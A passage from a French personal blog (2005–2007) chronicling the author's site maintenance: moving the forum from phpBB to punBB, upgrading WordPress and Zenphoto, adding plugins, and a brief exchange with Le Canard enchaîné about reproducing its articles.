Le principe est le suivant: Akismet décide si le message est un spam, en analysant son contenu, l’adresse IP de l’émetteur, etc… Et les met en quarantaine, à l’administrateur de décider s’ils doivent être effacés ou non. Sur Wordpress, c’est très efficace (44 spams bloqués sur mon blog à ce jour, aucune erreur), et c’est gratuit pour les particuliers.

Easy Poll: un plugin qui permet de lancer un sondage sur punBB. Téléchargeable ici. Contrairement à celui de phpBB, il permet plus de 10 options pour le vote. Parfait pour un sondage sur le premier tour des élections présidentielles !

L’installation est assez longue, il y a une dizaine de fichiers à modifier à la main, c’est très fastidieux, et la moindre erreur ne pardonne pas. Il m’a fallu presque 2 heures pour l’installer !

Forum punBB

Mon, 26 Mar 2007 20:06:13 +0000

Mise à jour du forum ! Plus qu’une mise à jour d’ailleurs, puisque l’on passe de phpBB à punBB. Vous vous rendez compte ?

punBB est plus léger, plus rapide, mais possède par contre moins de fonctionnailtés. Les pages générées sont plus petites, et valides W3C XHTML. Graphiquement, il est aussi nettement plus agréable que l’ancien.

J’ai pu sans problème importer les messages existant sur l’ancien forum. Il n’y a par contre plus la possibilité de faire des sondages comme le permettait phpBB. Mais je devrais pouvoir trouver une extension (mod) le permettant.

Installation:

L’installation de punBB est vraiment simplissime. Télécharger l’archive sur punBB.fr. Copier via ftp le contenu du répertoire “upload” sur votre serveur, par exemple dans un répertoire appelé “forum”.

Créer votre base de données SQL si ce n’est déjà fait.

Exécuter http://votre-serveur/forum/install.php, et renseigner les quelques cases (nom de la base, utilisateur, mot de passe, etc..).

Un fichier php est généré: il faut l’enregistrer à la racine de votre forum sous le nom de config.php.

Et voilà, c’est installé. Il ne reste plus qu’à vous rendre dans l’administration pour régler les derniers détails.

Importation de phpBB:

Il faut récupérer le mod PunBB Migration Tool de cette page. Copier le contenu du dossier converters sur le serveur, à la racine du forum, dans un dossier nommé converter par exemple.

Exécuter http://votre-serveur/forum/converter/index.php.

Remplir les cases: indiquer le type de forum à importer (phpBB dans mon cas), le nom de la base, le préfixe, utilisateur, mot de passe, etc… Et exécuter. Les données sont importées de votre ancien forum (forums, sujets, utilisateurs).

Attention ce n’est pas fini, comme je l’ai cru tout d’abord. A ce stade, vous pouvez accéder au forum (http://votre-serveur/forum), mais impossible d’accéder au panneau d’administration.

Sur la page du converter, il vous faut maintenant ajouter le nom de l’utilisateur qui aura les droits d’administration.

Enfin, il faudra allez dans le panneau d’admin, Maintenance, et reconstruire les index.

Citations de Lao-Tseu

Sat, 24 Mar 2007 10:37:41 +0000

Du nouveau côté citation du jour (Quote of the day): j’ai ajouté quelques citations de Lao-Tseu.

C’est en lisant un article du Canard, qui reprenait une de ses citations (mais en est-ce vraiment une ?):

Qui ne pête ni ne rote est voué à l’explosion

J’en ai trouvé une petite liste sur le net (un peu plus sérieuses celles-là, plus proches de ce que à quoi l’on attend de ce personnage mythique de la Chine ancienne !). Et puis ce très beau dessin sur Wikipédia. I lne me restait plus qu’à les ajouter dans la base de ce petit plugin très bien foutu: UtterQuotes.

Enjoy ! Elles apparaîtront de manière aléatoire, comme celles des Simpsons ou de Bush.

Wordpress 2.1

Sat, 10 Feb 2007 15:38:03 +0000

Mise à jour du blog, c’est-à-dire de Wordpress à la version 2.1. Les améliorations concernent essentiellement l’administration du blog. Côté utilisation, vous ne devriez pas remarquer grand chose… si ce n’est des erreurs ! si c’est le cas, merci de me prévenir…

Les étapes de la mise à jour:

Mise à jour WordPress 2.0.X à WordPress 2.1 !

1. Faites une sauvegarde de votre base de données. (avec l’aide de phpMyAdmin ou le plugin “WordPress Database Backup” livré par défaut avec WordPress 2.0.x) 2. Désactivez tous les plugins 3. Lancez votre client FTP favori 4. Effacez le dossier /wp-admin/ 5. Effacez le dossier /wp-includes/ 6. Effacez tous les fichiers se trouvant à la racine de votre blog. NE PAS EFFACER wp-config.php. 7. Télécharger et extraire la nouvelle version de WordPress. 8. Envoyer ensuite tous les dossiers et fichiers sur votre serveur FTP. 9. Connectez-vous ensuite sur votre console d’administration, et suivez le guide de mise à jour. (1 étape…) 10. C’est fini…

Statistiques d'accès au site 2006

Sat, 06 Jan 2007 18:33:54 +0000

Les statistiques d’accès au site pour l’année 2006 sont disponibles.

A noter une forte augmentation des visites, probablement lié au blog et à l’indexation dans les moteurs de recherche (ce qui n’était pas le cas auparavant, quand seul le site “statique” existait).

Le classement par pays montre une récente augmentation de visiteurs des Etats-Unis:octobre (8%), novembre (14%) et décembre (18%). C’est inquiétant, je ne vous le cache pas. Et si j’écrivais en gallo (private joke) ?

Et puis ajout d’une nouvelle statistique: Le top 20 des mots-clés. Sachez que pour le mois de décembre, c’est le mot gaffophone qui détient à lui seul 13,92% des requêtes ! Pas mal, non ?

Bonne année 2007 !!

Fri, 05 Jan 2007 18:00:35 +0000

BONNE ANNEE A TOUTES ET A TOUS !!!!

C’est la carte que les collègues de Bangkok m’ont envoyé, je l’ai reçue ce matin… Je me demande s’ils ne l’ont pas choisie pour les cheveux du personnage ! mais ça fait très plaisir, ils sont vraiment très sympas !

Album Photo en travaux

Sun, 24 Dec 2006 22:07:17 +0000

Je viens de passer Zenphoto à la version 1.0.6, qui va permettre de gérer les sous-albums. Cela m’obligera à changer de thème, c’était prévu. Videz votre cache internet si vous constatez quelques problèmes d’affichage (Prev/Next) par exemple. Sinon, tout est en anglais, il me faudra également franciser cette version. Tout rentrera dans l’ordre une fois les sous-albums créés, et le nouveau thème adapté au site.

Zenphoto et les sous albums

Fri, 08 Dec 2006 20:44:51 +0000

La nouvelle version 1.0.4 de Zenphoto (l’album photo que j’utilise), supportant la gestion des sous-albums, après 6 mois d’attente, est enfin disponible ! Champagne !! C’est un premier pas vers une future version 1.1, mais avec des nombreuses améliorations selon le développeur. Voilà comment il présente cette nouvelle version :

After over six months, I finally got it together enough to release the next minor version, 1.0.4. This release is a lot bigger than +0.0.1 gives it credit for though – it includes exponential performance improvements from 1.0.3, a completely restructured database storage model, many tweaks and bugfixes, and more, making it the most stable and clean release to date. A lot of work went into this (as you might expect from a six month wait) and it should be a perfect stepping stone to sub-albums and further improvements in 1.1.

The other big change is sort of secretly included in this release, and it is the backend infrastructure for sub-albums. There is too much yet to be done for an actual release touting that feature, but most of the code is there already. You can try it out with the sub-albums development testing theme, which you can download here if you want. NOTE that most features are missing and all you can expect is to browse sub-folders using the theme. There is no appropriate administrator interface, sorting, paging, or anything else you might expect. No guarantees about anything if you actually want to use it ;-)

Cela implique 2 choses: je vais enfin pouvoir classer les albums par rubrique, comme sur le site d’origine (des sous-menus). Et je vais devoir changer de thème, car cette nouvelle fonctionnalité requiert des thèmes nouveaux. Finalement, ça ne tombe pas mal, j’y pensais après avoir en avoir vu d’autres.

Précision

J’en profite pour apporter une précision concernant la taille des images: depuis 2 albums, elles sont 800x600, mais sont toujours affichées au même format quand on parcoure l’album (soit une largeur de 595). Ce n’est qu’en cliquant sur l’image que vous obtenez la vue en 800x600.

Pourquoi ? d’abord pour que l’affichage du menu et de la photo , voir du premier commentaire ne prennent pas trop de hauteur. Ensuite, si j’agrandis cette taille au delà de 640x480 (taille des premières photos, elles seront légèrement étirées..

Il faudrait donc trouver un nouveau thème, et positionner le menu à gauche, afin de gagner de la hauteur pour l’affichage de la photo en parcourant l’album. Enfin, laisser les photos à une taille plus importante, puisque:

le stockage est de 100Go sur Free,
nous disposons tous d’une ligne haut débit.

Du boulot en perspective, quoi !

Modifications sur les Liens du blog

Sun, 29 Oct 2006 14:50:51 +0000

Petit changement sur les liens, afin d’avoir un petit commentaire qui s’affiche au passage de la souris… sympa, non ? Enfin petit changement… Ce ne fut pas aussi simple:

Wordpress ne prévoit pas cela dans les options, j’ai donc posé la question sur le forum français de Wordpress. Et 2 jours plus tard j’avais la réponse. Restait à la mettre en place, cela m’avait l’air plus compliqué que prévu, mais en fait tout s’est passé comme une fleur. Et cela marche même avec MSIE, grâce à une astuce déjà mise en place sur le site.

Cet article me permet en fait de sauvegarder l’information sur le blog et de pouvoir suivre ainsi les modifications faites sur le site.

Voilà les modifs à faire

Dans fichier sidebar.php (du thème), j’ajoute une nouvelle section:

[php]
<h2>Liens</h2>
<ul>
 <?php get_linksbyname('', '<dt>', '</dd>',
 '</dt><dd>', TRUE, 'rating', TRUE, FALSE, -1, FALSE); ?>
</dd>
</ul>
[/php]

Dans le fichier index.php (du thème), je supprime l’ancien appel aux “links”:

[php]
<h2><?php _e('Links'); ?></h2>

<ul><?php get_links('-1', '<li>', '</li>', ' '); ?></ul>
[/php]

La partie “Liens” est donc maintenant appelée par le fichier sidebar.php, et non plus par le fichier index.php, ce qui plus logique à mon avis.

Et dans le fichier style.css, je cache l’attribut dd:

[css]
 dd {display: none;}
[/css]

Voilà, j’ai du également me pencher sur le fait d’afficher des lignes de code dans un article: veiller d’abord à ce qu’il ne s’exécute pas (c’est bête, hein ?), et l’identifier ensuite dans l’article (police, couleur) .

La description du tag get_linksbyname est sur le Wiki Wordpress.

Quote of the day

Sun, 27 Aug 2006 10:57:34 +0000

Changement pour la citation du jour… le Simpson Quote devient Quote of the day (la citation du jour). Le plugin permet d’insérer plusieurs jeux de citations, et fournit une liste de citations de Georges W. Bush, mais il manquait l’image… et c’est un peu triste sans image.

Je suis parti d’un dessin dans le Carnard de cette semaine (dernière page pour ceux qui l’ont !), je l’ai scanné, extrait Bush, puis retravaillé et colorié le dessin sous The Gimp, l’application de retouche d’images gratuit.

Et voilà ce que cela donne.. Pour la qualité des citations, je ne sais pas trop encore… On verra à l’usage ! Toujours un moyen de se perfectionner en anglais, quoiqu’il en soit !

Ménage dans les vidéos

Mon, 21 Aug 2006 18:00:23 +0000

Je fais du ménage sur les vidéos que j’avais inséré dans le blog.

Celles qui provenaient du site DailyMotion avaient déjà un désavantage, celui de ne pas afficher d’image au chargement de la page, perdant ainsi beaucoup en présentation.

Mais ce n’est pas tout: les liens fonctionnent quelques jours, puis sont modifiés, rendant impossible l’intégration des vidéos dans le blog.

Je supprime donc les vidéos, voir les articles; Quand ils valent quand même le détour, comme le palais des sports de Puteaux, je conserve l’article et vous renvoie vers les “permalinks” de DailyMotion (en espérant qu’ils soient vraiment permanents !!).

Finalement, je conserve celles de Google Video: le lien ne bouge pas, et elles affichent une image. Pour une fois que je dis du bien de Google…

Zenphoto en v1.0.3b et 10 Go d'espace web chez Free

Tue, 27 Jun 2006 17:04:12 +0000

Zenphoto est maintenant en version1.0.3b. J’ai eu l’opportunité de préparer la traduction française pour le site de support français de zenphoto. Il s’agit toujours de correction de bugs et d’amélioration de la performance.

La bonne nouvelle, c’est que l’auteur annonce pour cet été le gestion de sous-albums. Il faut attendre la version 1.1.

Chez Free, très bonne nouvelle: 10 Go d’espace web sont maintenant disponibles sur simple demande… cela tombe à pic, les 1 Go précédents commençaient à être juste.

Les Simpsons sont de retour

Sat, 20 May 2006 10:33:36 +0000

En début de semaine, j’ai du supprimer le plugin affichant une citation des Simpsons en haut de page à droite, et ce pour 2 raisons: d’abord la lenteur du serveur Free, et d’autre part la conception du plugin. Le résultat était que la page ne s’affichait pas, avec un beau message d’erreur (timeout).

Après quelques recherches sur le net, il semble que Free soit en train d’effectuer une migration de leurs serveurs, avec pour résultat une nette baisse des performances. Free est gratuit, il faut attendre la fin de cette migration, pas vraiment le choix. Ne vous étonnez donc pas si le blog se charge très lentement (voir pas du tout !).

Parallèlement, j’avais posé une question sur le message d’erreur généré par le plugin Simpsons. Un type m’a répondu, me disant qu’il était en train d’en écrire une nouvelle version, et me proposant de la tester avant publication. Aussitôt dit aussitôt fait, j’ai installé/testé son plugin (plus évolué) et lui ai fait un retour (2 problèmes constatés).

C’est ce nouveau plugin qui est installé maintenant. Il n’est pas dédié aux Simpsons, on peut aussi ajouter d’autres catégories, et ajouter ses propres citations. Il fournit également des phrases célèbres de Bush, ou des citations d’hommes célèbres. Je n’ai validé pour l’instant que les Simpsons, suite à un des problèmes remontés. J’activerai les autres une fois le problème identifié et corrigé.

J’ai trouvé ça plutôt sympa de servir de testeur. C’est dans l’esprit du web, chacun apporte sa pierre, bénévolement, et ensuite tout le monde en profite !

zenphoto et zenpress

Sun, 07 May 2006 17:19:22 +0000

Quelques nouvelles de zenphoto, que j’utilise pour les albums photo:

Mise à jour de la version 1.0.1b vers la version 1.0.2b, qui corrige quelques failles de sécurité et améliore la performance.

Toujours pas de gestion des dossiers et sous-dossiers pour classer les albums, il faudra être patient, le cycle de développement semble assez lent !

Mais en passant sur le blog du créateur de zenphoto, j’ai découvert un nouveau plugin pour Wordpress: Zenpress. Il permet d’inclure très facilement des images (ou des miniatures) des albums de zenphoto dans les articles du blog..

Plutôt cool… et comme je viens de finir un album (apéro à Chateaugiron), je vais m’en servir tout de suite pour le prochain article !

Online Counter

Sun, 02 Apr 2006 17:02:33 +0000

Ajout d’un nouveau plugin: WP-OnlineCounter.

Il affiche dans le bas de page le nombre de personnes connectées et le nombres de visites. On repart à zéro ! j’aurai pu initialiser le compteur a la valeur de celui du site, mais bon… celui-ci s’incrémente plus vite (à chaque chargement de la page d’accueil, semble-t-il).

Wordpress en version 2.0.2

Sat, 01 Apr 2006 16:54:39 +0000

Mise à jour de la version Wordpress de 2.0 en 2.0.2. Il s’agit principalement de correction de bugs et de failles de sécurité.

Opération grandement facilitée par les conseils du site de support français de Wordpress.

La musique que j'écoute

Fri, 31 Mar 2006 17:34:56 +0000

Grâce à Last.fm (voir article du 25 mars), vous pouvez voir la musique que j’écoute sur le PC. La liste affichée (dans le menu de droite) représente les artistes de la semaine. On peut même cliquer dessus pour entendre des extraits (il faut Flashplayer). Sympa !

Journaliste citoyen

Fri, 31 Mar 2006 15:30:57 +0000

J’ajoute dans la partie Liens du menu de droite un lien vers le blog de john Paul Leperse, journaliste, ex-membre de l’équipe du vrai-faux journal de Karl Zéro.

Vous y trouverez pas mal de videos de ses reportages, ainsi que extraits de son livre “Madâme, l’impossible conversation”, un livre retraçant son enquête sur Madame Chirac. A ne pas manquer !

Google video

Wed, 22 Mar 2006 21:11:30 +0000

Google Video est maintenant disponible en France. Une grande bibliothèque de vidéos en ligne, vous basculant vite sur le Google video store, où il faudra sortir la carte bleue ! Mais il y a aussi beaucoup de petites vidéos amateurs, gratuites, et parfois très drôle.

Et il y a bien sûr un plugin pour Wordpress: voyez l’article précédent, je peux intégrer le lecteur Google. et il ne vous reste plus qu’à cliquer sur “Play” pour jouer la vidéo. Pas mal, non ?

Le plugin s’appelle WP-Extreme video, il ne se limite pas à Google video, mais peut jouer n’importe quel FLV (Flash Video) sur le net. C’est le format le plus compressé, meilleur que Realplayer, Quicktime et Windows Media Player.

Ce qui rend la diffusion sur le web possible. En fait je n’ai rien sur mon site, sinon le lecteur Google video. En cliquant sur “Play”, vous activez le lien vers le site Google video, et le streaming commence (on commence à télécharger, puis on démarre la video tout en continuant à télécharger).

Souscrire aux commentaires

Sat, 18 Mar 2006 11:42:41 +0000

Installation d’un autre plugin: Susbcribe to comments. Il permet, lors de la saisie d’un commentaire, de choisir d’être tenu informé (par mail) si un nouveau commentaire est “posté” ultérieurement. Pratique pour savoir si quelqu’un a réagi au votre.

Il s’agit d’une case (cochée par défaut) apparaissant en-dessous de la zone où l’on saisit un commentaire.

Le lien du plugin: Subscribe to Comments

Statistiques du blog

Fri, 17 Mar 2006 19:14:16 +0000

Installation d’un plugin “WP-stats” permettant de résumer sur une page le nombre d’articles, de commentaires; les plus récents, les plus commentés. Egalement un classement des auteurs de commentaires…

Disponible dans le menu latéral.

Plugin: WP-stats (lien vers la version française)

Simpson Quote

Thu, 16 Mar 2006 18:20:09 +0000

Du nouveau dans le menu latéral: une citation des Simpson, modifiée à chaque rechargement (il y a 207 différentes). Idéal pour perfectionner l’anglais, et se marrer (si l’on pige !).

Il s’agit d’un plugin pour Wordpress trouvé sur le site de Phunky.

WP Tiger Administration

Sun, 12 Mar 2006 16:58:39 +0000

Ajout d’un nouveau plugin dans Wordpress. WP Tiger Administration améliore l’interface d’administration, la rendant plus conviviale. Vous y accédez en vous identifiant, pour créer un article, etc…

Le canard est frileux

Fri, 24 Feb 2006 16:38:07 +0000

Ce matin, j’ai envoyé un mail au canard enchaîné pour vérifier que je peux reproduire quelques-uns de leurs articles sur le blog. Voici mon mail et leur réponse:

Bonjour, Je suis un lecteur fidèle du Canard, et le mercredi matin est toujours un bon jour de la semaine grâce à vous. Merci pour cela. J’ai un weblog depuis peu, essentiellement consulté par des amis, et donc d’une audience qui reste plutôt confidentielle. Je me permet de temps en temps de recopier certains de vos articles sur mon blog. Je voudrais m’assurer que vous n’y voyez pas d’inconvénients, et c’est l’objet de ce mail. J’imagine que cela ne peut que concourir à donner aux gens l’envie de lire votre journal, et que cela va dans le sens de votre travail: faire circuler une information libre et indépendante. Si je me trompe, dites-le moi… Merci, Pascal

La réponse du Canard:

Cher Monsieur, Merci pour votre message et de l’intérêt que vous portez au “Canard”. Cependant, nous regrettons de devoir vous indiquer que, pour des raisons juridiques, nous ne pouvons donner d’autorisation pour la reproduction de nos articles sur des sites, même confidentiels; Espérant que vous comprendrez nos raisons, Cordialement

J’ai donc modifié tous ces articles, me contenant de relayer l’information contenue, et citant la source de l’information. J’espère que cela leur conviendra. Dommage, leurs articles sont vraiment de qualité.

Wordpress: mise à jour en version 2.0.1

Fri, 10 Feb 2006 18:05:42 +0000

Je viens de mettre à jour la version de Wordpress. Passage de la version 1.5.2 à la version 2.0.1.

D’un point de vue utilisation, pas de changement apparent, l’intérêt de cette upgrade réside principalement dans l’interface d’administration, plus évoluée. Elle dispose surtout d’un éditeur WYSIWYG, facilitant grandement la création d’article.

Car je vous rappelle que le blog est ouvert: vous pouvez vous créer un compte, je vous donnerai alors les droits pour créer des articles… Cela peut devenir un endroit commun de discussion, où l’on peut donner laisser son billet d’humeur… Voir la page Utilisation (dans le menu en haut de page) pour plus d’infos.

Détail de l’upgrade

Sauvegarder la base de données mysql…faire un dump quoi…(par précaution)
Sauvegarder la totalité des dossiers wordpress déposés sur le site .
Désactiver les plug-ins (conseil trouvé sur le site anglophone..alors je l’ai prudemment suivi)
télécharger la version française complète sur le site: http://xavier.borderie.net/wp-fr/
Mettre à la corbeille la totalité des dossiers wordpress de la version précédente.
Les remplacer par les dossiers de la nouvelle version.
Remplacer le dossier “wp-config-sample.php” de la version 2.0 par le dossier “wp-config.php de la version précédente (voir sauvegarde citée en 2)…) il contient toutes les éléments nécessaires pour la mise à jour de la base de données.
Transférer le dossier wp-images de la version précédente dans la nouvelle version…c’est là que je mettais les images illustrant mes articles notamment.
Mettre dans wp-content/plug-ins et dans wp-content/themes les plug-ins et les thèmes utilisés dans la version précédente (surtout s’ils ont été bidouillés comme je l’ai fait!!!).

Ces opérations terminées il reste à demander à son navigateur de se brancher sur son site direction le dossier “wp-admin/upgrade.php” et tout est réglé en 5 secondes… Il reste à réactiver le ou les plug-ins.

source: http://wordpress-fr.net/support/viewtopic.php?id=488

Photopress

Sun, 05 Feb 2006 11:31:45 +0000

J’ai installé (il y a quelque temps déjà) Photopress, un plugin qui ajoute quelques fonctions intéressantes pour gérer les images dans Wordpress. C’est lui qui permet d’afficher une image aléatoire en haut de page, ce qui apporte un peu de convivialité à la page d’accueil. C’est surtout pour cette fonction que je l’ai installé. Sa gestion d’album reste assez basique, c’est pour cela que j’ai choisi Zenphoto comme véritable “album photo”.

J’y ai mis les photos de la rubrique “A la Une” du site, une bonne sélection de photos.

Les infos (en anglais) sur ce plugin sont dispo ici.

Wordpress: Thème "connexions"

Tue, 17 Jan 2006 21:04:34 +0000

Je commence à personnaliser l’environnement du blog en installant ce que l’on appelle un thème. Celui choisit s’appelle connexions. Celui par défaut était pas mal, sobre, mais celui-ci offre un menu en haut de page qui va probablement me servir à faire des liens vers des pages de mon site actuel.

Si un thème s’installe en quelques secondes, reste à le franciser (ce n’est pas encore complètement terminé), puis à le personnaliser. Pour l’instant, j’ai changé la bannière (une photo de Roc Trévezel), et la réorganisation du menu latéral est en cours; par exemple. Reste aussi à voir les couleurs: pas si simple que ça de changer les couleurs d’un thème, il faut rester cohérent. Pas sûr que je les change d’ailleurs… ou plus tard. Bref, ça avance !

Wordpress: installation en local

Mon, 26 Dec 2005 18:53:12 +0000

Installer Wordpress en local sur son PC offre l’avantage de pouvoir tester les modifications (personnalisations) que l’on fait avant de modifier les fichiers sur le serveur (de Free par exemple).

Pour ce faire, il faut que votre PC devienne un « serveur web », afin de pouvoir générer les pages demandées. EasyPHP fournit l’environnement nécessaire sous Windows, soit le trio Apache/PHP/MySQL. Tous ces logiciels sont issus du monde libre et donc gratuits.

Cela se fait donc assez facilement, comme le nom EasyPHP le laisse supposer. Les étapes sont les suivantes :

1. Installer EasyPHP et lancer l’interface d’administration. 2. Définir un alias qui pointera vers le répertoire où Wordpress sera dézippé (cela donne plus de souplesse, sinon, il faut mettre Wordpress sous le répertoire www de EasyPHP. 3. Créer une base, par exemple “wordpress”. 4. Dézipper la version de Wordpress téléchargée auparavant (par exemple d’ici). 5. Editer le fichier wp-config-sample.php, modifier le nom d’utilisateur/mot de passe pour correspondre à celui de EasyPHP (par défaut, c’est root, sans de mot de passe) et le sauvegarder sous le nom de wp-config.php. 6. Ouvrir dans votre navigateur le fichier install.php en passant par le serveur EasyPHP. Cela donne par exemple quelque chose comme : http://127.0.0.1/wordpress/wp-admin/install.php

7. Suivre les instructions (2 étapes !) et voilà, votre blog Wordpress est installé !!

La simplicité est vraiment top !

Wordpress: Upgrade version 1.2 vers 1.5

Mon, 26 Dec 2005 17:54:38 +0000

Une fois l’installation de Free terminée (cela prend plusieurs jours apparemment), je me rend compte qu’il s’agit de la version 1.2, qui offre moins de fonctionnalités que la 1.5, notamment pour la personnalisation, la notion de pages, etc…

Après quelques recherches sur le net, j’ai trouvé cette page qui explique tout. Partant d’un site standard (je n’avais bien entendu encore apporté aucune personnalisation), je me suis dispensé de la sauvegarde des fichiers… Bref, c’était fait en quelques minutes.

Il y a aussi une explication sur cette page du wiki, mais en anglais.

Wordpress, qu'est-ce que c'est ?

Mon, 26 Dec 2005 17:44:53 +0000

WordPress est un logiciel de publication axé sur la facilité de prise en main, la rapidité et un utilisabilité maximale. WordPress est soutenu par une communauté très active, qui est le coeur des logiciels open source.

Fonctionnalités

WordPress est une plateforme de publication personnelle puissante, avec de nombreuses fonctionnalités conçues pour rendre votre expérience de publication sur Internet aussi simple, plaisante et agréable que possible. Nous sommes fier de vous offrir une plateforme de publication librement distribuable, compatible avec les standards, rapide, légère et gratuite avec des paramètres et des fonctionnalités réfléchis ainsi qu’un noyau extraordinairement adaptable.

Informations tirées du Wiki Wordpress français